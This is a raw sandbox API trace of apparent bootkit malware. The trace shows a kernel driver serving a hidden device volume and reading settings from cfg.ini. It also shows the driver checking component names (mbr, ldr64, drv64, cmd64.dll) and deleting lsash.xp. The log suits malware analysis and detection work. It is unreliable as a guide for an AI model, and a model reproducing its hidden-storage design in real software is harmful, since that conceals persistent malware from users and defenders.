ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.749] KeLeaveCriticalRegion () [0119.749] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.750] KeEnterCriticalRegion () [0119.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.750] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.750] IdePortDispatch () returned 0x103 [0119.750] KeWaitForMutexObject () returned 0x0 [0119.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.750] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.750] KeLeaveCriticalRegion () [0119.750] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.750] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.750] KeEnterCriticalRegion () [0119.750] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.750] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003495000 [0119.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.750] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.750] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.750] IdePortDispatch () returned 0x103 [0119.750] KeWaitForMutexObject () returned 0x0 [0119.750] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.750] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.750] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.751] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.751] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.751] IdePortDispatch () returned 0x103 [0119.751] KeWaitForMutexObject () returned 0x0 [0119.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.751] KeLeaveCriticalRegion () [0119.751] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.751] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.751] KeEnterCriticalRegion () [0119.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.751] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.751] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.751] KeLeaveCriticalRegion () [0119.751] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.751] KeEnterCriticalRegion () [0119.751] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.751] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.751] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdab30, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.752] KeLeaveCriticalRegion () [0119.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.752] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.752] KeEnterCriticalRegion () [0119.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.752] ExFreePoolWithTag (P=0xfffffa8003bcaa50, Tag=0x0) [0119.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.752] KeLeaveCriticalRegion () [0119.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.752] ReleaseMutex (hMutex=0xf0) returned 1 [0119.752] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.752] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.752] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.752] KeEnterCriticalRegion () [0119.752] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.752] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.752] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.752] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.752] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.752] IdePortDispatch () returned 0x103 [0119.752] KeWaitForMutexObject () returned 0x0 [0119.752] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.752] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.752] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.752] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.752] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.752] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca700 [0119.752] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.752] KeLeaveCriticalRegion () [0119.752] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.752] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.753] KeEnterCriticalRegion () [0119.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.753] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.753] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.753] KeLeaveCriticalRegion () [0119.753] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.753] KeEnterCriticalRegion () [0119.753] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.753] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.753] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.753] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.753] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.753] IdePortDispatch () returned 0x103 [0119.753] KeWaitForMutexObject () returned 0x0 [0119.755] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.755] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.755] KeLeaveCriticalRegion () [0119.755] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.755] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.755] KeEnterCriticalRegion () [0119.755] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.755] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f6000 [0119.755] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.755] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.755] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.755] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.755] IdePortDispatch () returned 0x103 [0119.756] KeWaitForMutexObject () returned 0x0 [0119.756] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.756] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.756] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.756] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.756] IdePortDispatch () returned 0x103 [0119.756] KeWaitForMutexObject () returned 0x0 [0119.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.756] KeLeaveCriticalRegion () [0119.756] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.756] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.757] KeEnterCriticalRegion () [0119.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] KeLeaveCriticalRegion () [0119.757] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.757] KeEnterCriticalRegion () [0119.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.757] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdb840, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] KeLeaveCriticalRegion () [0119.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.757] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.757] KeEnterCriticalRegion () [0119.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] ExFreePoolWithTag (P=0xfffffa8003bca700, Tag=0x0) [0119.757] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] KeLeaveCriticalRegion () [0119.757] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.757] ReleaseMutex (hMutex=0xf0) returned 1 [0119.757] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.757] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.757] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.757] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.757] KeEnterCriticalRegion () [0119.757] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.757] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.757] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.757] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.757] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.757] IdePortDispatch () returned 0x103 [0119.757] KeWaitForMutexObject () returned 0x0 [0119.758] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.758] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.758] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.758] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.758] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.758] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.758] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.758] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.758] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.758] KeLeaveCriticalRegion () [0119.758] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.758] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.758] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.758] KeEnterCriticalRegion () [0119.758] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.758] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.758] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.758] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.758] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.758] IdePortDispatch () returned 0x103 [0119.758] KeWaitForMutexObject () returned 0x0 [0119.758] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.758] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.758] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.758] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.759] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.759] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.759] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.759] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.759] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.759] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.759] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.759] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.759] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.759] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.759] KeLeaveCriticalRegion () [0119.759] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.759] ReleaseMutex (hMutex=0x100) returned 1 [0119.759] Sleep (dwMilliseconds=0x2bf20) [0119.767] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6a9433b0, dwHighDateTime=0x1d24fa4)) [0119.767] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.767] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.767] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.767] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.767] KeEnterCriticalRegion () [0119.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.767] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.767] IdePortDispatch () returned 0x103 [0119.767] KeWaitForMutexObject () returned 0x0 [0119.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.767] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.767] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.767] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bcc9c0 [0119.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.767] KeLeaveCriticalRegion () [0119.767] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.768] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.768] KeEnterCriticalRegion () [0119.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.768] KeLeaveCriticalRegion () [0119.768] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.768] KeEnterCriticalRegion () [0119.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.768] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.768] IdePortDispatch () returned 0x103 [0119.768] KeWaitForMutexObject () returned 0x0 [0119.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.768] KeLeaveCriticalRegion () [0119.768] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.768] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.768] KeEnterCriticalRegion () [0119.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.768] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034f9000 [0119.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.768] IdePortDispatch () returned 0x103 [0119.768] KeWaitForMutexObject () returned 0x0 [0119.773] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.773] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.773] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.773] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.773] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.773] IdePortDispatch () returned 0x103 [0119.773] KeWaitForMutexObject () returned 0x0 [0119.773] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.773] KeLeaveCriticalRegion () [0119.773] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.773] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.774] KeEnterCriticalRegion () [0119.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.774] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] KeLeaveCriticalRegion () [0119.774] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.774] KeEnterCriticalRegion () [0119.774] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.774] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.774] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bccd80, 